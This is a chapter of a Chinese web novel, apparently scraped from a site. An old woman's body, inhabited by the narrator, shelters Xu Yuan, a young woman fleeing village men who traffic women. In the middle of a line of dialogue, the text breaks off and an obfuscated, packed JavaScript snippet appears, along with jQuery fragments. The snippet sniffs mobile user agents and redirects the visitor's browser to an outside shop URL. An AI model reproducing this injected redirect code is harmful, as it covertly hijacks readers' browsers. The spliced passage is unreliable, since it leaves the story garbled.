直至凌晨，我都没有困意。


    我在床的外侧睡着，能感觉到许媛在里侧蜷缩着身体，尽量不碰到我。她的呼吸很轻，但我能听出其中的紧绷。她在害怕，害怕外面寻她的人会随时破门而入，害怕我会在天亮后将她交出去，也许还害怕每一个明天。


    我被困在这副衰老的躯壳里，分不清记忆。我并没有白濯心全部的记忆，也没有其他人的任何记忆。看见的，只有我和许媛的这次相遇，还有这副身体随时发生的躯体反应。


    不知过了多久，就在我以为许媛已经睡着时，听见她极轻的声音：


    “白婆婆……”


    “嗯？”


    “墙上……能借我点地方吗？”


    我没有立刻明白她的意思，直到听见窸窸窣窣的声响。她似乎从床上坐了起来，手指在墙壁上摸索着什么。


    “你要做什么？”我问。


    她没有回答。片刻后，我听见指甲刮擦墙壁的细微声音，很轻，很慢，但很坚定。一下，又一下，在寂静的深夜里，声音格外清晰。


    我想起身看看她在做什么，但身体却莫名沉重。属于白濯心的这具躯壳，此刻正被一种深切的疲惫笼罩。我能感觉到，这个老妇人的记忆正在与我融合，那些尘封的往事像深水下的暗流，缓缓上浮。


    指甲刮擦墙壁的声音持续了很久。


    然后，一切又重回平静。


    许媛重新躺下，呼吸渐渐平稳。这一次，她似乎真的睡着了。


    而我，在黑暗中睁着眼睛，裹挟着巨大的疲惫，听着窗外的雨声，直到天光微亮。


    *


    第二日的清晨，我是被一阵剧烈的头痛唤醒的。


    那疼痛从太阳穴一直蔓延到后脑，我不得不按着额头坐起身，发现身侧的许媛已经不在了。被褥叠得整整齐齐，放在床脚。


    有那么一瞬间，我以为昨晚的一切只是一场梦。


    但空气中残留的艾草气味，以及床头矮柜上那只空碗，都在提醒我，那个遍体鳞伤的女人的确来过。我掀开被子下床，双腿传来熟悉的酸软感。这具身体的确老了，只是熬了半夜，就浑身不适。


    推开卧室门，堂屋里空无一人。


    “许小姐？”我唤了一声。


    没有回应。


    我心里一紧，快步走到大门边。门闩还好好锁着，她没有离开。转身正要回屋，眼角余光却瞥见灶间有影子晃动。我走过去，看见许媛正蹲在灶台前，试图生火。她的动作笨拙，火柴划了好几根都没点燃灶膛里的干草。


    “我来吧。”我走上前。


    她吓了一跳，火柴掉在地上。抬头看见是我，她松了口气，站起身，将位置让给我。我接过火柴，熟练地引燃干草，塞进灶膛，又添了几块劈好的木柴。火焰很快升腾起来，橘红色的光映亮了她苍白的脸。


    “我……我想做早饭，谢谢您。”她小声说，手指不安地绞着衣角。


    “坐着吧，你身上有伤。”我指了指堂屋的椅子。


    她没有坐，而是站在灶间门口，看着我舀水、淘米，将陶罐架在火上。晨光从门缝里透进来，在地面上投下一道狭窄的光带。


    粥在火上慢慢熬着，发出咕嘟咕嘟的声响。我转过身，背靠着灶台，看向她。


    “昨晚，”我开口，“你在墙上写了什么？”


    许媛的身体明显僵了一下。她垂下头，长发遮住了脸，我看不清她的表情。良久，她才用几乎听不见的声音说：“没……没什么。”


    “让我看看。”我的语气不容置疑。


    她抬起头，眼睛里闪过一丝慌乱，但最终点了点头。我跟在她身后回到卧室，她走到床内侧，指了指靠近床头的墙壁。


    那里，在斑驳脱落的墙皮上，有两个歪歪扭扭的字：


    “救我。”


    字迹很浅，像是用指甲一点点抠出来的。笔画凌乱，有些地方深，有些地方浅，能看出书写时的仓皇和无力。但每个笔画都带着一股执拗的狠劲，仿佛用尽了全身的力气。


    我伸手，指尖轻轻抚过那些刻痕。粗糙的墙面磨过指腹，带来细微的刺痛。


    “为什么写这个？”我问。


    许媛靠在墙上，目光空洞地望着那两个字，仿佛透过它们，看到了什么别的东西。


    “我怕。”她说，声音轻得像叹息，“我怕万一……万一他们半夜找上了门，将我们都带走了，至少有人会知道，我们曾经求救过。”


    这句话像一块冰，坠进我的胸腔。我转过头，仔细打量这个女人。天光从窗纸里透了进来，照在她脸上，能看清她眼下浓重的青黑，和嘴角一道已经结痂的裂口。她才二十出头，正是人生最好的年纪，眼睛里却已经没有了光。


    能认出她字迹的，我想了想，应该有陆沉吧。如果他知道了她的失踪，知道了她同白濯心的关系，肯定会想办法查到老宅，找到这道字迹。


    所以，陆沉有可能来过老宅，只是他从来没有表露出来。


    “你不会被带走。”我说，语气平静，但每个字都说得很重。


    她看向我，眼睛里有什么东西闪了闪，但很快又暗下去。


    “您不了解他们。”她苦笑，“他们已经没了人性，要是知道我在这儿，会害了您。他们以前就拐过很多女人，是惯犯。”


    她突然住口，像是意识到自己说了不该说的话，脸色更白了。


    我沉默地听着，心里那潭死水，终于泛起了涟漪。


    “吃饭吧。”我说，转身走出卧室。


    早饭是简单的玉米粥和咸菜。许媛吃得很安静，一小口一小口，像是在完成某种仪式。我坐在她对面，看着她，脑海里却浮现出另一幅画面。年轻时的白濯心，也曾经这样坐在桌前，对面坐着另一个女人，同样伤痕累累，同样眼神空洞。


    那记忆只是一闪而过，快得抓不住。


    吃完饭，我收拾碗筷，许媛执意要帮忙。我们并肩站在灶台边，她洗碗，我擦拭。水流声哗哗作响，打破了一室的寂静。


    “白婆婆。”她突然开口，没有看我，专注地洗着碗，“村里人说，您能通灵做傀人，能请来送子娘娘，是真的吗？”


    我擦拭碗筷的动作顿了顿。


    “你信这些？”我没有直接回答。


    “我不知道。”她将洗好的碗递给我，手指冰凉，“但我姥姥曾经信。小时候我生病，她带我去看神婆，喝香灰水。后来病好了，她就说是神仙显灵。我都已经沦落到了这地步，有些话不得不信……”


    “病好了是因为你抵抗力强，长大了。”我说。


    许媛愣了一下，随即笑了。这是她第一次笑，尽管很淡，很短暂，但那双死水般的眼睛，终于有了一丝微光。


    “您和张广茂他们说的不一样。”她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050364|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说。


    “他们怎么说我？”


    “说您是……”她迟疑了一下，“说您是最毒的那个傀娘，能用邪术。说靠近您的人都会倒霉，说您家里供着不干净的东西。”


    她说得很小心，一边说一边观察我的表情。我只是继续擦碗，表情没什么变化。


    “那你还来？”我问。


    “因为我没地方可去了。”她低声说，然后补充了一句，“而且，我觉得您不是坏人。”


    这句话她说得很轻，但我听见了。我没有回应，只是将擦干的碗放进碗柜，合上柜门。


    上午，按照白濯心这副躯壳的记忆，我让许媛待在屋里休息，自己提着竹篮出了门。雨已经停了，但天空依然阴沉，铅灰色的云层低低地压着，仿佛随时会再降下一场大雨。村路上的泥土还未干透，踩上去软绵绵的，留下深深的脚印。


    我去村东头的菜地摘了些青菜，又绕到后山，采了几味草药。一路上遇见几个村民，他们看见我，远远就避开了，眼神里满是敬畏和恐惧。有几个老妇人聚在井边洗衣服，看见我过来，立刻压低了声音，微微颔首。


    采完药，我故意绕到张勤奋家附近。那是一栋半新的砖瓦房，院墙砌得很高，铁门紧闭。同被烧毁前的样子，没多大变化。我站在巷子拐角，远远看了一眼。院子里静悄悄的，但烟囱里冒着烟，屋里应该有人。


    正看着，铁门突然开了。


    张广茂叼着烟走出来，他脸上有一道新鲜的抓痕，虽然很小，但很刺眼，还结了暗红色的痂。他站在门口，眯着眼四下张望，像是在找什么。


    我迅速退到墙后，屏住呼吸。


    随后，张勤奋从铁门里走了出来，紧跟在他的身后。张广茂看了眼他，嘴里嘟囔：“这事先不能告诉先生，我们再出去找找，人挨了打跑不远的……”


    张勤奋点了点头，表情却很奇怪。


    我靠在墙上，心跳得有些快。不是害怕，是这具身体的本能反应。是一种愤怒，肾上腺素涌上喉咙的冲动。


    我提着篮子，加快脚步往回走。得快些回去，许媛一个人在家，我不放心。


    回到老宅时，院门虚掩着。我推门进去，看见许媛正坐在槐树下的石凳上，仰头望着树冠。听见门响，她转过头，看见是我，明显松了口气。


    “您回来了。”她站起身。


    “怎么出来了？”我问，将篮子放在屋檐下的石台上。


    “屋里闷，想出来透透气。”她说，目光又飘向那棵槐树，“这棵树，长得真好。”


    我顺着她的视线望去。盛夏的槐树枝繁叶茂，浓密的树冠像一把巨大的绿伞，投下大片阴凉。阳光透过叶隙洒下，在地面上印出斑驳的光斑。有风吹过，叶片沙沙作响。


    “很多年了。”我说，“我娘带我嫁过来的时候，它就在这儿了。”


    许媛转过头，看着我：“您……不是本村人？”


    “不是。”我在石凳上坐下，拍了拍旁边的位置。她犹豫了一下，坐下，但和我保持着一段距离。


    “那您从哪儿来？”她问。


    这个问题让我沉默了。白濯心的记忆里，关于故乡的部分很模糊，像蒙着一层浓雾。只记得一条很长的山路，记得离开时回头望见的炊烟，记得外祖父站在村口的身影，越来越小，最后消失在拐弯处。


    “很远的地方。”我最终说。